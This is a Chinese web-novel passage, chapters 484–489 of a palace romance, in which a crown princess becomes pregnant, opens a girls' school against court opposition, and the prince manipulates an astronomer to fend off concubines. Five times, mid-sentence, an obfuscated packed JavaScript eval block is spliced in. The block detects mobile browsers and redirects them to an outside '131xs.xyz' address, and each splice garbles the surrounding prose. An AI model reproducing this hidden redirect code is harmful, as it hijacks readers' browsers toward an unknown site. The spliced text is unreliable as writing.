此言一出,原本神色肃然的三人齐齐破功。 德丰帝眼底骤然迸出惊喜,柔贵妃一把抓住陆知苒的手,眼角瞬间红了。 陆知苒经历了一开始的惊喜,这会儿反倒有些愣怔,没回过神来。 德丰帝声音都扬高了,“当真?” “微臣诊了两次,断然错不了。只是太子妃的月份尚浅,刚满一月,还需好生将养,万不可劳神。” “好好好!” 德丰帝喜得脸上的皱褶都舒展了。 柔贵妃握着陆知苒的手,眼底眉梢的笑意难掩。 “从时间上推算,差不多是从闽南回来之后怀上的。知苒救了那些苦命的女子,又打算兴办女学,这桩桩件件,都是功德,老天爷都看在眼里。” 柔贵妃这般说,便是有意给陆知苒的身上多揽些功绩,也让德丰帝认定,这女学办得好,日后有那不长眼的敢置喙此事,德丰帝第一个不同意。 德丰帝果然被成功地上了眼药,原本他对女学之事就已经赞同,如今更觉得这女学该办。 只是,陆知苒怀了身孕,女学之事万不可再继续操持。 德丰帝道:“女学的确该办,但如今你的身子要紧,此事你便不用操心了,朕会安排得力之人接管。” 柔贵妃也正是这个意思。 女学再重要,也没有皇嗣重要。 更何况,头三个月最是要紧,轻易马虎不得。 陆知苒也知晓轻重。 “父皇,其实女学之事并非儿媳一人之功,此事宝珠和南笙也都有参与,儿媳现在身子不便,不若便将此事交给她们二人,她们定能把此事办好。” 柔贵妃闻言,也立马附和。 “皇上,知苒所言在理,宝珠有打理锦绣坊的经验,南笙就更不必说,行事最是周全,此事交给她们二人,定能办得漂亮。而且她们都是女子,经手女学之事,也更加合适。” 德丰帝现在心情正好,对二人的话稍一沉吟,便点头答应了。 “好,便这么办。” 柔贵妃又提醒,此事暂不宜公开,待胎相稳定下来之后再公开不迟。 德丰帝对陆知苒这一胎也十分看重,自然觉得再小心也不为过。 他便转而叮嘱那太医,不可泄露半个字。 夕颜殿这里,自然有柔贵妃管束着,不会让底下人说些不该说的话。 本想派人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16052653|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去给萧晏辞传信,陆知苒阻止了。 这段时日,萧晏辞公务繁忙,眼下定是抽不开身,左右等他回了东宫就能知道,不必急于一时。 柔贵妃亲自派了人,把陆知苒送回东宫,高嬷嬷受了柔贵妃的再三嘱咐,定要把陆知苒照顾好,绝不允许她和孩子出半点闪失。 高嬷嬷欢喜得找不着北,几乎把陆知苒当成祖宗一样供着,翠芙、丹烟、霜华和金嬷嬷等人也满是喜色。 若非此事暂需保密,她们定是恨不得立马广而告之。 萧晏辞对此事一无所知。 他政务繁忙,每天从睁眼便是连轴转,片刻不得歇息。 好在他年轻,便是这般高强度的工作,他也依旧精神奕奕。 今日,他莫名觉得精神抖擞,效率奇高。 回到东宫时,他先去沐浴,洗去了一身的疲惫,这才回了寝殿。 陆知苒穿着一身家居衣裳,满头青丝披散,一见到萧晏辞回来,她扬起脸,露出一抹温柔的笑。 萧晏辞不禁心头一热,伸臂便把人抱住,还要把人抱起来转个圈。 高嬷嬷等人瞬间惊呼出声,陆知苒也连忙伸手推他,一副如临大敌的模样。 萧晏辞还没反应过来,心道以往她们最有眼色,今日怎的这般不识趣。 “你们一个个都什么反应?怕我吃了你们太子妃?” 高嬷嬷笑盈盈的,“太子殿下,今时不同往日,您在太子妃面前,可不能再这般没轻没重了。” 萧晏辞微愣,一时没反应过来。 陆知苒嗔怪地瞪他,“我有个好消息要告诉你。” 听了这话,再看到众人的反应,萧晏辞很快猜到了什么,整个人都瞬间紧张起来,又唯恐自己猜错了。 陆知苒也没有卖关子,“今日太医给我诊脉,说已经有一个月身孕了。” 萧晏辞伸手,想抱她,又硬生生顿住了,整个人都有些手足无措。 “这,真,真的吗?我是不是在做梦?” 陆知苒抚着自己尚且平坦的小腹,脸上露出了温柔的笑。 “是真的,阿辞,你要当爹了。” 第485章 女学遇阻 萧晏辞脸上再也抑制不住笑意,他想抱着陆知苒转几圈,但想到她金贵的肚子,又硬生生地忍住了。 心中的欢喜无处宣泄,萧晏辞高兴得在屋子里踱了好几圈,一边转圈一边大笑,那副模样,透着股傻气。 陆知苒嗔道:“快别转了,把我的脑袋都转晕了。” 萧晏辞这才停了下来,只是脸上的笑意依旧不减,看上去像个傻子。 忽的,他想到了什么,猛地道:“前两天晚上我们还……有没有伤到孩子?” 陆知苒立马想伸手捂他的嘴,整张脸都变得通红。 大家都还在呢!她不要脸面的吗? 萧晏辞凑到她的耳边,低声道:“我们哪一次不是她们备的水?没什么好害羞的。” 陆知苒:…… 她的脸更红了,伸手狠狠在他腰上掐了一把。 萧晏辞皮糙肉厚,她掐得半点都不痛,反而更似调情。 高嬷嬷轻咳一声,满脸严肃地开口,“太子殿下,太子妃现在怀了身子,不可再同房,免伤皇嗣。” 陆知苒的脸瞬间更红了,萧晏辞脸皮厚,面不改色,“孤知道分寸,不会乱来,嬷嬷且放心便是。” 高嬷嬷心想,她还真没法放心。 太子屋里就太子妃一人,也没个侧妃侍妾和通房,太子又血气方刚,万一没忍住…… 高嬷嬷仗着自己是萧晏辞的奶娘,可以多嘴说上两句,但也要有分寸,说多了,就逾矩了。 萧晏辞把人打发了出去,高嬷嬷不放心地看了几眼,到底退了出去。 屋中没了旁人,陆知苒就羞恼地瞪他,“都怪你,害我丢脸。” “你是主子,谁敢笑话你?” 萧晏辞蹲下身,把脸贴在了陆知苒的肚皮上。 “没想到这里面真的多了个小东西,真稀奇。你可有什么感觉?” 陆知苒摇头,“没什么感觉,只是闻到荤腥味的时候,会有点想吐。” 萧晏辞蹙眉,“我听母妃说,她怀我的时候胃口不好,吃什么吐什么,可受了不少罪。” 他又煞有介事地对着陆知苒的肚子道:“小子,你要乖乖的,不要折腾你母妃,知道吗?不然的话,到时候我就要收拾你。” 陆知苒看着他那副煞有介事的模样,不禁觉得有些好笑,同时又有点心头发暖。 他以后,定然会是个好父亲。 只是不知,她腹中的孩子,究竟是男孩还是女孩? 这个念头在脑中一闪而过,很快被她抛诸脑后。 不管这个孩子是男是女,她都会一视同仁。 陆知苒怀孕之事被暂时压了下来,群臣并不知道此事,萧宝珠和蒋南笙却没在隐瞒之列。 陆知苒把她们请到了东宫,亲口告知了她们这个好消息。 蒋南笙立马给她搭脉,笑道:“的确已经有一月身孕,你的身体底子很好,胎相很稳,安心养胎便是。” 萧宝珠先就高兴得哭了。 “太好了,苒姐姐,你总算熬出头了。待你生下皇孙,我倒要看看那些言官还有什么话好说!” 陆知苒笑道:“我都没哭,你倒是哭上了。” 萧宝珠擦了眼泪,“我太激动了嘛。而且,说不定你昨晚早就偷偷哭过了。” 这就冤枉她了,她的确没哭。 这件事对她而言是一桩大喜事,她很高兴,但她冷静地克制了自己的情绪。 怀孕之人,最忌大悲大喜。 陆知苒把二人唤来,除了分享这桩喜事,便是谈女学之事。 “昨日我入宫,已经将女学之事禀明父皇,他点头了。此事过了明路,后续操办起来就轻松许多。只是我刚好在这个当口怀孕,还需要你们两人亲自督办,父皇也允了。” 萧宝珠和蒋南笙自是点头。 “交给我们,你只管放心养胎。” 萧宝珠自信满满,“我在锦绣坊积攒了不少经验,这次办女学,我定会让你刮目相看。” 三人又就着女学的各项事宜深入探讨了一番,直到陆知苒露出些许疲态,萧宝珠和蒋南笙才离开。 陆知苒有孕之后,萧晏辞回来的时辰明显提前了。 以往都要忙到戌时才回,最近酉时就回来了,陪陆知苒一起吃过晚饭,又凑到她的肚子前说一会儿话,然后才到外书房,继续处理公务。 他依旧还是那么忙,只不过是把处理公务的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16057048|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地方从内廷,转移到了东宫。 天气一日日热起来,陆知苒的胃口越来越差,闻不得半点荤腥,整个**眼可见地消瘦了。 萧晏辞见此,简直急坏了。 东宫的厨子换了一茬又一茬,依旧没能让陆知苒多吃一口饭。 萧晏辞便去请了蒋南笙来,让她给陆知苒开方子调理。 陆知苒服了蒋南笙开的方子之后,症状才稍稍好转,只是胃口依旧没法恢复到从前,对很多味道也依旧十分敏感。 萧晏辞又找到蒋南笙,对她的医术提出了质疑,蒋南笙直接冲他翻白眼。 “怀孕初期胃口不开很正常,我就算用药也不能太猛,须知是药三分毒,万一伤了孩子怎么办?” 这话果然把萧晏辞唬住了。 “那,就没有什么别的法子?” 蒋南笙看他那副紧张又担忧的样子,想了想道:“我给开个方子,做个香囊。挂在身上,或能好些。” 萧晏辞忙不迭点头。 有了香囊,陆知苒的胃口果然好了不少,吃得多了,脸上也丰盈了几分,只是尚未显怀,身形依旧窈窕纤细。 时间转眼到了七月,女学那头也完成了前期筹备,开始挂牌,贴出告示,招募女学生。 这个消息一出,再次在京城引起轩然大波。 不出意外,此事遭到了不少朝臣的反对。 “让女子在锦绣坊抛头露面,已是大齐风气开化,如今再兴办什么女学,岂不是牝鸡司晨,乱阴阳之道?” “人分三六九等,每个人有各自不同的分工,若贫女皆学算账,谁肯为奴为婢?” 更有理学大儒认为,“女子识字后恐生淫邪之念。” 凡此种种,不一而足。 便是民间,普通百姓对此也褒贬不一。 家里有适龄女孩儿的,也并非人人都愿意把女孩送去女学。 “女孩都是赔钱货,给口饭吃也就罢了,有什么资格学认字?” “女孩儿就该老老实实在家里帮忙干农活,真以为是千金大小姐呢,还进学堂念书。” 这样的议论在民间不绝于耳。 女学开办伊始,便遭到了出乎预料的阻力。 第486章 太子妃又立了一功 很快,朝臣们知道女学是陆知苒牵头创办的,便有官员在朝堂上参了她。 “身为太子妃就应当做好女子的表率,太子妃创办女学初衷或许是好的,但却过于想当然,此举必会打乱男女平衡,扰乱自古以来男主外女主内的天然秩序,长此以往,理法必然乱套。” “太子妃作为储君正妻,本该专注于后宫事务,辅佐太子,更该尽早为太子诞下子嗣,而非将过多精力放在无用之事上。” 萧晏辞的脸色笼上一层阴郁。 上首的德丰帝也没开口,只等他们把话说完。 一时之间,朝堂上一边倒全是对陆知苒的攻讦,连带着,萧晏辞也受到了波及。 等他们都说完了,德丰帝才开了口。 “朕记得,当初锦绣坊创办初期,你们也是这般叫嚣着反对,称女子不该抛头露面。且再看看如今,锦绣坊每年能为国库赚取多少银子?太子妃虽为女子,却比你们这一个个只知动嘴皮子的迂腐之人强多了!” 大家没想到德丰帝对此事会是如此态度,瞬间,方才参得最凶的几个臣子面上难看了几分。 他们本以为,德丰帝会对太子妃迟迟没有怀上子嗣之事耿耿于怀,对她折腾女学之事定是反对的,没曾想,他们竟然预判错了。 但他们依旧不甘心,尤其是那些想往东宫塞人的官员,更是不愿放过此次攻讦太子妃的机会。 “皇上,锦绣坊与女学到底不同。锦绣坊的创办初衷是安置灾民,是顺势而为,且锦绣坊以盈利为目的,对大齐自是利国利民之事。但女学却是有违祖宗礼法,实在不可取。” “微臣附议,自古皆言,女子无才便是德,太子妃此举大有沽名钓誉之嫌。” 这时终于有人站出来为陆知苒说话。 “两位大人,你们此言差矣。女子知书可相夫教子,利国利民。算账女工可助商户兴家,增国库税收。学医识药,战时或可充作医女救急。这桩桩件件,难道不是利国利民的大好事?” “是也。太子妃虽为女子,却数次为朝廷出钱出力,分忧解难,此等魄力,岂有半点比男子差?女子无才便是德,这套迂腐的论调,早该摒除了!” 两派人在朝堂上吵了起来,吵得不可开交。 德丰帝揉着脑袋,已然露出几分疲倦与不耐。 萧晏辞眸色微沉,此事继续争执下去,只怕会生出其他变故。 若父皇因此改了主意,罢了女学之事,那知苒前面的诸多努力就都白费了。 萧晏辞正欲开口说些什么,这时,外头有宫人匆匆而来。 “回禀皇上,谷将军归朝了。” 众人的争执被打断,德丰帝也有些烦躁,不欲再听他们争辩,他稍稍提起了精神,命人传谷栖山。 谷栖山已经换了一身干净朝服,大踏步而入。 在闽南待了数月,他的身上浸润了一股特有的咸腥味,即便如何清洗依旧无法彻底洗掉,那是他这段时日辛劳的功勋与徽章。 他在堂上跪下,将自己的奏折双手奉上。 “启禀皇上,臣奉旨往闽南修筑堤坝,幸不辱命,今堤坝已固,可御海潮、护良田万亩,百姓再无漂溺之虞。” 冯有才躬身上前,将他的奏折接过,小心呈到了德丰帝的案前。 德丰帝含笑看着他,“你此次南下,不负朕望。堤坝固则万民安,海寇平则海疆宁,你以将才之能,统筹兼顾,实乃大功一件,朕当大力嘉奖。” 谷栖山连忙道:“陛下谬赞,臣实不敢当!此次闽南之事,能成全赖太子殿下运筹帷幄,臣不过是奉旨行事,略尽督察之责罢了。” 事实也的确如此。 萧晏辞以太子之身涉险,将闽南的大局稳定下来才离开,自己只是从旁协助。 谷栖山这番不贪功的态度,让德丰帝更添了几分满意。 谷栖山话锋一转,“皇上,微臣还有一事要禀。微臣此次在闽南,得见一桩盛事,实乃太子妃殿下之功。” 德丰帝闻言,一下来了几分精神,群臣亦立马竖起了耳朵。 太子妃又立了什么功劳? 萧晏辞则瞬间了然,他的唇角缓缓勾起了一抹笑,充满了骄傲。 谷栖山道:“太子妃心怀慈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16057049|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悲,亲见闽南百姓之苦,便令手下于当地设‘慈容院’。昔日海寇猖獗,闽南多少稚子失怙,或流落街头,或葬身鱼腹。今慈容院中,已收养孤童近百名,不仅供其衣食,更延请先生教其读书识字。” “臣亲见那些孩子,昔日面黄肌瘦、眼神惶恐,如今衣着整洁、手捧书卷,朗朗书声闻于街巷。百姓皆言:‘若无堤坝,我们活不得安稳;若无慈容院,孩子便没了将来。’太子妃此举,非一时之仁,乃长远之虑。” “太子妃殿下以女子之身,怀济世之心,既解眼前灾厄,又培将来根基,此功不在筑坝之下。臣不敢隐瞒,特将百姓心声与慈容院实情奏于陛下。” 谷栖山的话落,群臣皆大受震撼,德丰帝更是激动得险些站了起来。 几息之后,德丰帝大笑出声。 又指着堂下众臣,“你们都听到了?太子妃以女子之身,又为朝廷办了一件大事,她半点都不比你们差!反倒是你们,满嘴迂腐成见,你们的能力若是有嘴皮子半点厉害,朕就能含笑九泉了,省得日日看你们这群废物,把朝堂搅得比菜市口还聒噪!” 众臣立马齐齐跪下请罪,对陆知苒,也再说不出半个苛责之言。 即便他们对女子心有成见,但也不得不承认,陆知苒这个太子妃的确厉害,行事果敢有魄力。 德丰帝龙心大悦,对陆知苒好一番夸赞。 萧晏辞开口,“父皇,那女学之事……” 堂下再无人敢反对,德丰帝也不再有迟疑,直接道:“女学乃利国利民之事,太子妃敢为天下先,理当嘉奖。传朕旨意,设此为官办女塾,赐匾‘毓秀女学’。” 德丰帝当众表态,一锤定音,再无人敢跳出来反对。 有人想以太子妃无嗣为由头参本,也不敢在这个当口往上撞。 而那些想往东宫送人的臣子,也不得不重新掂量陆知苒这个太子妃的分量。 她有勇有谋,即便娘家无人,其地位也不可撼动。 日后他们的女儿若当真进了东宫,也只能老老实实屈居人下,可不敢动什么歪心思。 第487章 任重道远 萧晏辞回了东宫,第一时间把朝堂上发生的这些事告知了陆知苒。 他看着陆知苒,语气中都是骄傲。 “可惜你没瞧见,谷将军说出你在闽南办了慈容院时,那些老东西脸上的表情有多精彩。他们因你是女子而看轻你,却又不得不承认自己不如你,知苒,你真的很厉害。” 创办慈容院之事,是陆知苒离开闽南之前交给张德安去办的。 她可以带走那些可怜的女人,但却带不走那些失去家人的孩子,他们也未必愿意跟她离开。 陆知苒看到不少半大的孩子,为了挣一口饭吃,用稚嫩的身躯干活。 现在还有修筑堤坝的活可以干,但堤坝总有修好的时候,到时候,他们该如何过活? 还有更多年幼的,没有自理能力的孩子,他们的生活更是成了大问题。 陆知苒做出这个决定之前,跟萧晏辞商议过,他很支持。 此事由陆知苒来做,比由萧晏辞来做更加合情合理。 储君定大局,太子妃施仁政,此为最佳互补。 此事既是陆知苒出钱出力,萧晏辞也不欲抢了她的功劳。 世人称颂陆知苒,萧晏辞这个太子也与有荣焉。 而这桩消息传回来的时机也不早不晚,刚刚好,狠狠地打了那些质疑陆知苒的老东西的脸。 陆知苒也已经收到了张德安的消息,得知慈容院的进展顺利,她亦为此感到很高兴。 慈容院之事,变相推动了女学的进展,这就更令人欣喜了。 萧晏辞道:“不过,今日有朝臣提到了女学的招生问题,贫苦人家只怕不愿意把女孩送到女学中进学,这个问题你打算如何处理?” 陆知苒早与蒋南笙和萧宝珠商讨过此事,她们综合权衡之下,拟定了招生细则。 此次女学,拟定招收的女学生年龄在六至十岁之间,农户人家不收取束脩,食宿全包,入学者可领每月三斗米,若退学则需追回一应奖励。 但女学并非玩乐之地,也不是无偿帮别人家养孩子,每月都需要考核,学生们每月都需完成一定数量的刺绣或纺织,成品由锦绣坊统一收购。 若连续三个月无法完成,则劝退处理。 若有学生天赋卓绝,能又好又快地完成成品,折算成银子后,多余的部分可归她自己所有。 从女学出来的学生,日后可以优先选入锦绣坊干活。 另外,女学会缩短学制,夏收秋种时停课,让学生回家帮忙,灵活授课。 除此之外,她们会邀几位德高望重的诰命夫人担任“名誉山长”,以增加信誉。 这是她们的初步方案,具体落实起来,定然会遇到各种各样的困难。 但困难再多,也没有方法多。 万事开头难,没有什么是一蹴而就的,只要熬过了开头,后续之事自然能铺陈展开。 如今的锦绣坊,便是最好的例子。 德丰帝亲题的“毓秀女学”牌匾很快挂了上去,紧接着,毓秀女学张贴出了招生要求和一应福利,并派了官差深入各个村子进行宣传,务求让每户人家都知晓。 原本对此事嗤之以鼻的百姓们,看到这样的条件也不由生出了动摇。 但重男轻女的思想到底根深蒂固,有的农户依旧不愿意让女儿去“抛头露面”,还是守着农活更加踏实。 这几日,毓秀女学招生之事传得沸沸扬扬,每个人看法不一,也有各自不同的选择。 五日后,招生结束。 此次一共招了五十八人,其中,农家女四十一人,商户之女十三人,让她们意外的是,竟有四户官宦人家把自家庶女送了来。 陆知苒看了那四户人家的名单,很快就明白了,这四位官员都是太子一系,他们此举,便是对太子和太子妃的支持。 而那几家商户,也或多或少与自家商户有过生意往来。 生意人都精明,他们敏锐地意识到,毓秀女学的意义不凡,自然要努力抓住机会。 萧宝珠对于这个人数十分不满意。 “这可是朝廷公办的女学,条件这般优渥,怎么就没有一呼百应?” 陆知苒和蒋南笙却觉得一切都在预料之中。 “人之观念,并非一朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16064513|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一夕可以改变,便是送了女儿来上学的人家,也并非每人都真心相信读书之道,大多数人应当只是看重了女学的条件。” “没错,连饱读诗书的朝中官员都反对女学,更何况是那些大字不识的平头百姓?此事任重且道远。” 萧宝珠闻言顿时泄气。 “那我们辛辛苦苦张罗这么多,岂不是白费?” 偌大的女学,就只招了五十多人,传出去都要叫人笑话。 陆知苒笑着摇头。 “怎会白费?我们的女学,教的是真正可以谋生的技巧,三年后,这批学生的成果就会展现在人前。我们现在走的每一步路,都不会浪费。” 蒋南笙也道:“说得再多,也没有做得实实在在呈现在众人面前的东西来得实际,今日那些等着看我们笑话的人,来日,就会被我们狠狠打脸。到时候,女学何愁没有学生?” 教育本身就是一个细水长流的过程,陆知苒和蒋南笙深知这一点,今日的开局已算是不错,她们并不气馁。 萧宝珠也受了鼓舞,一下充满了干劲。 毓秀女学在京中引起了一阵不大不小的浪潮,但很快就被众人所遗忘,大多数人都觉得此事与他们没有关系,自然不会过多在意。 而大多数官员们都抱着看好戏的心态,想要看看太子妃这次能不能折腾出个水花来。 可别到时候草草收场,那才是贻笑大方。 外界的喧嚣议论,毓秀女学中的学子们一概不知。 她们进入到了一个全然陌生的环境,磕磕绊绊地适应着新的生活节奏。 有人觉得这里是人间天堂,自己的人生从此有了新的开始,新的希望。 有人却彷徨不安,难以适应,同时在优秀的同窗面前自惭形秽,难以自处。 但身为贫家女,她们来了这里,就没有退路可走,即便是再难,也只能咬牙坚持。 等到三年后,她们终于从女学中结业时,她们已然脱胎换骨,与三年前不可同日而语。 那个时候的她们,都无比感谢三年前咬牙坚持,没有放弃的自己。 第488章 不需要多子多福 八月,天气炎热。 陆知苒的孕期已经满了三月,她的胎相坐稳了,终于稍稍松了口气。 过了头三个月,陆知苒的胃口也好了很多,腰身粗了一大圈,脸上的肉也明显多了。 蒋南笙隔三差五就会来给她诊脉,她的脉象很好,大家都吃了定心丸。 这个消息捂得严实,外人对此一无所知。 三个月过去,那些盯着萧晏辞后院的人又开始蠢蠢欲动。 朝臣再次上折,话里话外攻讦陆知苒不能怀上皇嗣,为太子开枝散叶。 萧晏辞面色晦暗不明,并未开口。 这时,钦天监监正出列。 “臣夜观天象,见紫微垣东侧有‘天芮星’隐现,此乃后妃有妊之兆。且‘天喜’入东宫,红鸾星动,恐太子妃娘娘……已承天眷。” 此言一出,朝堂哗然。 萧晏辞这才开口,向德丰帝回禀。 “父皇,儿臣尚未来得及向您禀报,太子妃已怀有三个月身孕,如今胎相稳固,一切都好。” 德丰帝朗声笑,“太子妃有孕,实在大喜事,传朕指令,给太子妃赏百年老参一对,血燕盏十匣……” 德丰帝早就想赏了,但此桩消息尚未公布,这番赏赐便只能暂时压着。 众臣这个时候才明白过来,太子有意隐瞒此事,而皇上的态度表明,他分明也是早就知晓了此事。 所以,他们这些上蹿下跳的人,反倒成了笑话。 礼部侍郎急不可耐,“太子妃有孕,实乃天大的喜事,但太子殿下乃万金之躯,岂可无人侍奉?太子妃需静养安胎,更应广选淑女入东宫!” 立马有臣子出言附和。 “《礼记》有言:‘君子有三宫六院,以广继嗣。’殿下纵不为自己,也该为社稷考量!” 意外的,萧晏辞没有反对此事,而是点头附和了。 “诸位所言在理,侧妃之事的确该提上日程了。” 他的这番态度让众臣惊讶,旋即都松了口气。 太子愿意松口便好,如此,他们就都有机会把人塞进东宫了。 这个念头刚起,钦天监监正就高声道:“太子殿下,臣方才尚有未尽之言——‘天芮’虽显,却与‘咸池’相冲!若此时纳新人入东宫,咸池淫泆之气恐冲克皇嗣,轻则胎动不安,重则……星坠紫垣!” 此言一出,萧晏辞立马变色,群臣再次哗然。 德丰帝面色晦暗,周身都笼着一层沉沉威严。 “瞿爱卿,你可看准了?” 钦天监监正瞿大人满脸严肃,“皇上,此事关乎皇嗣,微臣断不敢信口胡言。” 德丰帝眉头紧锁,一时没说话。 萧晏辞也沉默着,似是陷入了左右为难的衡量。 半晌,德丰帝开口,“一切当以皇嗣为重,此事容后再议。” 那些刚把算盘珠子打起来的朝臣们,瞬间就失望透顶了。 他们想往东宫塞个人,怎么就这么难? 散朝之后,德丰帝把萧晏辞传到御书房,目光幽幽地看着他。 “太子,今日钦天监监正所说的那番话,可是你安排的?” 德丰帝没有拐弯抹角,直接开门见山地就抛出了问题。 萧晏辞立马跪下,“父皇明鉴,儿臣不敢欺君。儿臣深知绵延子嗣乃儿臣的职责,这也是大齐国本稳固的根本,儿臣断乎不会为了儿女私情就本末倒置,不顾社稷稳固。” 德丰帝目光定定地落在他的身上,看了半晌,终于收回,也缓和了语气。 “你知晓分寸便好。你与陆氏便是感情再好,也不可专宠她一人,更不可为她所惑,受她左右了决定。” 德丰帝出言敲打,萧晏辞正色,“儿臣并非贪色昏聩之人,不会受妇人左右。陆氏也并非没有分寸的无知妇人,相反,她一直劝儿臣广纳侧妃,她作为太子妃,无可指摘。” 德丰帝闻言,便不再多说什么。 萧晏辞离开御书房,神色如常,只是手心微微冒汗。 方才,他在父皇面前说了谎。 钦天监监正是他收买。 父皇是否真的相信了他? 至少表面上,他相信了,也没有再揪着这件事不放。 这算是他们父子间的一场博弈。 随着德丰帝越来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16064514|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越年迈,一步步放权,他们父子间的权利已经发生了倾斜。 萧晏辞这个太子,一步步压倒了德丰帝。 德丰帝也意识到了这一点,是以今日的问责被轻拿轻放了。 因为他知道,自己左右不了这个儿子了。 德丰帝身形佝偻,眼神黯淡又浑浊,心底生出一股前所未有的怅然,整个人看上去苍老又疲惫。 冯有才也上了年纪,他的腰已经直不起来了。 他看着发呆的老皇帝,轻声开口。 “皇上,您累了便歇一歇吧。” 德丰帝捶了捶腿,语气似慨叹似怅然,“老了,的确该歇了。” 权利当真令人着迷,即便决定要放手,但得知自己无法操控和决定某件事的时候,心里依旧会不甘,难以放下。 晚上,萧晏辞对陆知苒说起了此事。 “父皇或许看出我在说谎,却没有继续深究,他做了让步。” 陆知苒心头升起一股复杂。 “但朝臣不会让步,他们会一直重提此事。” 萧晏辞一副不可一世的语气,“那我便一次次驳回去,直到他们闭嘴为止。知苒,我这么做,不仅仅是为了你,也是为了大齐的江山与未来。历代帝王更迭,总避免不了鲜血与杀戮。” “跟一堆女人生一堆孩子,最后,嫡庶相争,兄弟阋墙,自强残杀,这样惨痛的教训难道还不够多吗?我们的儿子,会是唯一的太子,也是唯一名正言顺的继承人。” “若你这一胎是公主,我们便再生一个,若这一胎是皇子,那便不用再生了,他就是大齐朝的太子。我不需要多子多福,与你生的,一个便足矣。” 陆知苒闻言,面上再次浮起动容。 她没想到,萧晏辞能说出这样一番话来。 他的眼神真挚,这番话俨然是发自肺腑。 他能有如此通透的想法,便已十分难得。 或许,有朝一日,他所面临的诱惑多了,他会改变想法,再纳新人。 但至少此刻,他是真心实意的。 他为她捧出了一颗赤诚之心,她便也会同样赤诚以报。 第489章 可用之人 陆知苒在东宫安心养胎,萧晏辞在前朝忙于政务。 女学之事按部就班地进行着,外人失去了兴趣,陆知苒却时时关注着女学的一切变化。 时间转眼到了九月,天气依旧炎热。 这时,朝廷收到了一封来自南越的奏折。 原南越国已经划归大齐版图,更名为南诏府。 此前,朝廷派了地方官员前往南诏府担任知府,但那官员无法适应南诏府的气候,一直断断续续地生病,今年夏天,他因暑热,竟一病不起,死在了任上。 这封急奏,便是报丧的,也是请求朝廷再委派新的官员前去接替。 萧晏辞看完了奏折,瞬间眉头紧皱。 南诏府刚归顺大齐没多久,百姓对大齐归属感不强,加之南诏府还有不少土著原民,他们说的是夷语,不通礼教,管理成了大问题。 那官员在任时,只能算是无功无过,并无太大建树。 此次,必须派一位有能力有手段的能臣前去,才能真正把南诏府打理好。 除此之外,奏折中还提及了另一件事。 南诏府兵力不足,边防守备空虚,对内,亦无力**部落蛮夷,城中频繁冲突,请设安南都护府,以护卫百姓。 这两桩事都不好办,人员的遴选十分关键,若是选错了人,南诏府非但治理不好,反而会陷入内乱。 此事非同小可,萧晏辞一人无法决断,便禀明了德丰帝,又召集了群臣商议。 南诏国不是什么好地方,对于京城而言,俨然是个蛮荒之地,且那地方不好打理,劳心劳力,一不小心还容易一命呜呼,自然没人愿意去。 大家互相推脱,无人愿意担起此职。 商议了大半日,也没商议出个结果来。 德丰帝指着这些**骂,“一个个都是酒囊饭袋,平日里鸡毛蒜皮的小事都能吵翻天,而今遇到大事了,一个个都成了哑巴。朝廷白养了你们不成?” 众朝臣都被骂得不敢吭声,连带着,萧晏辞也挨了骂。 德丰帝骂了人,便一甩袖,“三日内,必须给朕把人选推举出来,若不然,朕到时候便亲自任命,由不得你们不愿意。” 